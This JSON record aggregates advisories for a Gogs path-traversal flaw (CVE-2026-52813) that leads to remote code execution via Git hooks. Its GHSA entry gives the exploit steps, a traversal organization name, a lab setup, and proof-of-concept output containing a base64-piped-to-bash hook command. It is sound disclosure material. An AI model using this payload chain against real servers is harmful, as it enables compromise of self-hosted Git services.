{"id":"GHSA-c39w-43gm-34h5","revision":null,"records":[{"revision":"3e5a94a699564c05ab3b5ef3b2b7ef77","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-52813","aliases":[],"title":"Gogs: Path Traversal in organization name results in RCE through Git hooks","description":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem. By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE). This vulnerability is fixed in 0.14.3.","state":0,"publishedAt":"2026-06-24T20:33:42.162+00:00","modifiedAt":"2026-06-26T03:55:38.322+00:00","affected":[{"ecosystem":"Vendor product","name":"gogs","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"gogs\",\n                    \"product\": \"gogs\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.14.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5","https://github.com/gogs/gogs/pull/8334","https://github.com/gogs/gogs/commit/f6acd467305943aae8403cbac81f0118dd1235d7","https://github.com/gogs/gogs/releases/tag/v0.14.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-52813","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-52813","identifiers":["CVE-2026-52813"]},"retained":false,"historicalAffected":[]},{"revision":"4beffd70d5844596bcceaee710bc9fcf","observedAt":"2026-11-24T06:29:48.061+00:00","statement":{"source":"euvd","id":"EUVD-2026-39084","aliases":["CVE-2026-52813","GHSA-c39w-43gm-34h5"],"title":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allow…","description":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem. By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE). This vulnerability is fixed in 0.14.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":null}],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5","https://github.com/gogs/gogs/pull/8334","https://github.com/gogs/gogs/commit/f6acd467305943aae8403cbac81f0118dd1235d7","https://github.com/gogs/gogs/releases/tag/v0.14.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-39084","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 24, 2026, 8:33:42 PM","dateUpdated":"Jun 26, 2026, 3:55:38 AM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-2013","title":"Gogs: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2022-1285","CVE-2024-39930","CVE-2024-39932","CVE-2024-39933","CVE-2025-64719","CVE-2026-25119","CVE-2026-26194","CVE-2026-47267","CVE-2026-52795","CVE-2026-52796","CVE-2026-52798","CVE-2026-52799","CVE-2026-52800","CVE-2026-52801","CVE-2026-52802","CVE-2026-52804","CVE-2026-52805","CVE-2026-52806","CVE-2026-52807","CVE-2026-52808","CVE-2026-52809","CVE-2026-52810","CVE-2026-52811","CVE-2026-52812","CVE-2026-52813","CVE-2026-52814","CVE-2026-52815","CVE-2026-52816"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-39084","identifiers":["EUVD-2026-39084","CVE-2026-52813","GHSA-c39w-43gm-34h5"]},"retained":false,"historicalAffected":[]},{"revision":"14ebb8e1c924464ea04774e10c3333b7","observedAt":"2026-10-25T13:17:10.707+00:00","statement":{"source":"nvd","id":"CVE-2026-52813","aliases":[],"title":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allow…","description":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem. By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE). This vulnerability is fixed in 0.14.3.","state":0,"publishedAt":"2026-06-24T21:16:57.353+00:00","modifiedAt":"2026-06-26T05:16:30.36+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/gogs/gogs/commit/f6acd467305943aae8403cbac81f0118dd1235d7","https://github.com/gogs/gogs/pull/8334","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-52813","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-23"],"productCriteria":[],"sourceDates":{"published":"2026-06-24T21:16:57.353","lastModified":"2026-06-26T05:16:30.360"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-52813","identifiers":["CVE-2026-52813"]},"retained":false,"historicalAffected":[]},{"revision":"46fb69fd43094898b7318b4eca9e9e2a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-c39w-43gm-34h5","aliases":["CVE-2026-52813","GO-2026-5305"],"title":"Gogs has Path Traversal in organization name that results in RCE through Git hooks","description":"### Summary\n\nOrganization names containing path traversal sequences (`../`) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem.\nBy creating nested structure of Git repositories, one can overwrite the other's `hooks` configuration to result in Remote Code Execution (RCE).\n\n### Details\n\nDuring organization creation, `internal/database/org.go` calls `os.MkdirAll(repox.UserPath(org.Name))` without sanitizing `org.Name`. \n\nhttps://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/database/org.go#L165\n\nRepository creation uses this name to decide where to write the Git bare repository's (`org/name.git`). By setting the org name to `../../../../tmp/test`, and creating a repository under that organization, it gets written under `/tmp/test` on the server.\n\nhttps://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/repox/repox.go#L57-L58\n\nAn attacker can abuse this in a clever way by writing to the `/data/gogs/data/tmp/local-r/1` directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like `config` and `hooks/update` are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the `hooks/update` script with malicious Bash commands and then to trigger the hook.\n\nThe steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions):\n\n1. Create regular outer repository and get its ID\n2. Create organization named `../../../../data/gogs/data/tmp/local-r/{ID}/nested`\n3. Create a repository inside this organization (eg. `rce`), which will be written into the local clone of the outer repository\n4. From the outer repository, edit `nested/rce.git/hooks/update` to contain malicious shell commands\n5. Interact with the `rce` repository again to trigger the updated hook, and RCE is achieved\n\n### PoC\n\n1. Set up a default Gogs instance by saving the following content to `docker-compose.yml` and running `docker compose up`:\n\n```yml\nservices:\n  db:\n    image: postgres:16-alpine\n    environment:\n      POSTGRES_USER: gogs\n      POSTGRES_PASSWORD: gogs\n      POSTGRES_DB: gogs\n    volumes:\n      - postgres-data:/var/lib/postgresql/data\n    restart: unless-stopped\n    healthcheck:\n      test: [ \"CMD-SHELL\", \"pg_isready -U gogs -d gogs\" ]\n      interval: 5s\n      timeout: 5s\n      retries: 5\n\n  gogs:\n    image: gogs/gogs\n    depends_on:\n      db:\n        condition: service_healthy\n    ports:\n      - \"3000:3000\"\n    volumes:\n      - gogs-data:/data\n    restart: unless-stopped\n\nvolumes:\n  gogs-data:\n  postgres-data:\n```\n\n2. Visit http://localhost:3000, set the *Host* to `db:5432` and *Password* to `gogs`. Under *Admin Account Settings* configure your admin account\n3. As the attacker, register an account with username `attacker` and password `attacker` at http://localhost:3000/user/sign_up\n4. As the attacker, run the following script (in gist to avoid cluttering this advisory):\n\nhttps://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9\n\nThe output should look like:\n\n```shell\n$ python3 gogs-rce.py\nstep 1 token ok\nstep 2 create personal repo 201 full_name attacker/writer-bd426045\nstep 3 web editor new file on attacker / writer-bd426045\nstep 4 GET writer repo -> local-r 1\nstep 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested\nstep 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested\nstep 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git\nstep 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False\nCloning into '/tmp/poc-writer-fy4k5064'...\nremote: Enumerating objects: 6, done.\nremote: Counting objects: 100% (6/6), done.\nremote: Compressing objects: 100% (3/3), done.\nremote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\nUnpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done.\nstep 9 clone writer repo -> /tmp/poc-writer-fy4k5064\n[master 3cf84b2] poc: nested/rce-b175aca7.git hook path\n 1 file changed, 1 insertion(+)\n create mode 100755 nested/rce-b175aca7.git/hooks/update\nstep 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned\nEnumerating objects: 7, done.\nCounting objects: 100% (7/7), done.\nDelta compression using up to 14 threads\nCompressing objects: 100% (2/2), done.\nWriting objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.\nTotal 6 (delta 0), reused 0 (delta 0), pack-reused 0\nTo http://localhost:3000/attacker/writer-bd426045.git\n   b0b9886..3cf84b2  master -> master\nstep 11 push writer\nstep 12 API new file on attacker / writer-bd426045\nstep 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7\nstep 14 API new file on attacker / writer-bd426045\nstep 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned\n\n=== COMMAND OUTPUT ===\nuid=1000(git) gid=1000(git) groups=1000(git)\n```\n\n### Impact\n\nIn the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the `git` user.","state":0,"publishedAt":"2026-06-23T17:10:50+00:00","modifiedAt":"2026-07-21T13:45:26.5784754+00:00","affected":[{"ecosystem":"Go","name":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.14.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5","https://nvd.nist.gov/vuln/detail/CVE-2026-52813","https://github.com/gogs/gogs/pull/8334","https://github.com/gogs/gogs/commit/f6acd467305943aae8403cbac81f0118dd1235d7","https://github.com/gogs/gogs","https://github.com/gogs/gogs/releases/tag/v0.14.3"],"sourceUrl":"https://github.com/advisories/GHSA-c39w-43gm-34h5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-c39w-43gm-34h5","identifiers":["GHSA-c39w-43gm-34h5","CVE-2026-52813","GO-2026-5305"]},"retained":false,"historicalAffected":[]},{"revision":"1da20434487f4477a119e219c2a61d28","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5305","aliases":["CVE-2026-52813","GHSA-c39w-43gm-34h5"],"title":"Gogs has Path Traversal in organization name that results in RCE through Git hooks in gogs.io/gogs","description":"Gogs has Path Traversal in organization name that results in RCE through Git hooks in gogs.io/gogs.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: gogs.io/gogs before v0.14.3.","state":0,"publishedAt":"2026-06-25T18:43:19+00:00","modifiedAt":"2026-06-25T19:45:31.8706023+00:00","affected":[{"ecosystem":"Go","name":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5","https://github.com/gogs/gogs/commit/f6acd467305943aae8403cbac81f0118dd1235d7","https://github.com/gogs/gogs/pull/8334","https://github.com/gogs/gogs/releases/tag/v0.14.3"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5305","license":"OSV · upstream source license applies","key":"osv:GO-2026-5305","identifiers":["GO-2026-5305","CVE-2026-52813","GHSA-c39w-43gm-34h5"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-24T11:25:35.5405878+00:00","complete":true,"records":1792,"lastAttemptAt":"2026-11-24T11:25:35.5405878+00:00","lastSuccessAt":"2026-11-24T11:25:35.7075047+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.707505+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f6e4a7f93ed9acd6fcb1f804a4567f7b9b16730ac126110af8d6d24176317946-6231a31653a43e57f005d532b3b61ff1da85288f32bbf39b75f07bda011db41a","complete":true,"records":431100,"lastAttemptAt":"2026-11-24T11:25:35.0471978+00:00","lastSuccessAt":"2026-11-24T11:25:34.9172836+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.0471978+00:00","snapshotPublishedAt":"2026-11-24T10:25:56+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d7c5d9b448144635bf3c41ecc488a309","complete":false,"records":13935,"lastAttemptAt":"2026-11-24T11:35:58.3742494+00:00","lastSuccessAt":"2026-11-24T11:35:57.35+00:00","error":"535 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-24T11:35:57.35+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13258,"expectedIdentifiers":13982,"failedIdentifiers":535},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-24T11:25:35.5405878+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-24T11:25:35.5405878+00:00","lastSuccessAt":"2026-11-24T11:25:35.7082792+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.7082793+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-18a230aff64e42c7b71e8312589a3430","complete":false,"records":13947,"lastAttemptAt":"2026-11-24T11:25:55.2915098+00:00","lastSuccessAt":"2026-11-24T11:25:55.288+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:55.288+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13682,"expectedIdentifiers":13982,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c86437892ddabdeaf17409463a17578b1e71dd185d64061100dd57629858f6d6","complete":true,"records":10074,"lastAttemptAt":"2026-11-24T11:25:35.3898621+00:00","lastSuccessAt":"2026-11-23T22:27:19.6557603+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.3898621+00:00","snapshotPublishedAt":"2026-11-23T21:33:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-24T11:25:35.1158017+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.1158017+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-3afd4dd07a6bf352a6a53c4438150c464a2527017b95ca94804134ea15f1eba9","complete":true,"records":3220,"lastAttemptAt":"2026-11-24T11:25:35.5015915+00:00","lastSuccessAt":"2026-11-24T10:25:37.8779609+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.5015915+00:00","snapshotPublishedAt":"2026-11-24T09:33:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-b3f815f4b80e6ee7009a469e05600427b49c4c540d96b9bae57af39cb7a4c7df","complete":true,"records":232959,"lastAttemptAt":"2026-11-24T11:25:35.2873819+00:00","lastSuccessAt":"2026-11-24T08:27:06.9384925+00:00","error":null,"lastVerifiedAt":"2026-11-24T11:25:35.2873819+00:00","snapshotPublishedAt":"2026-11-24T07:33:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}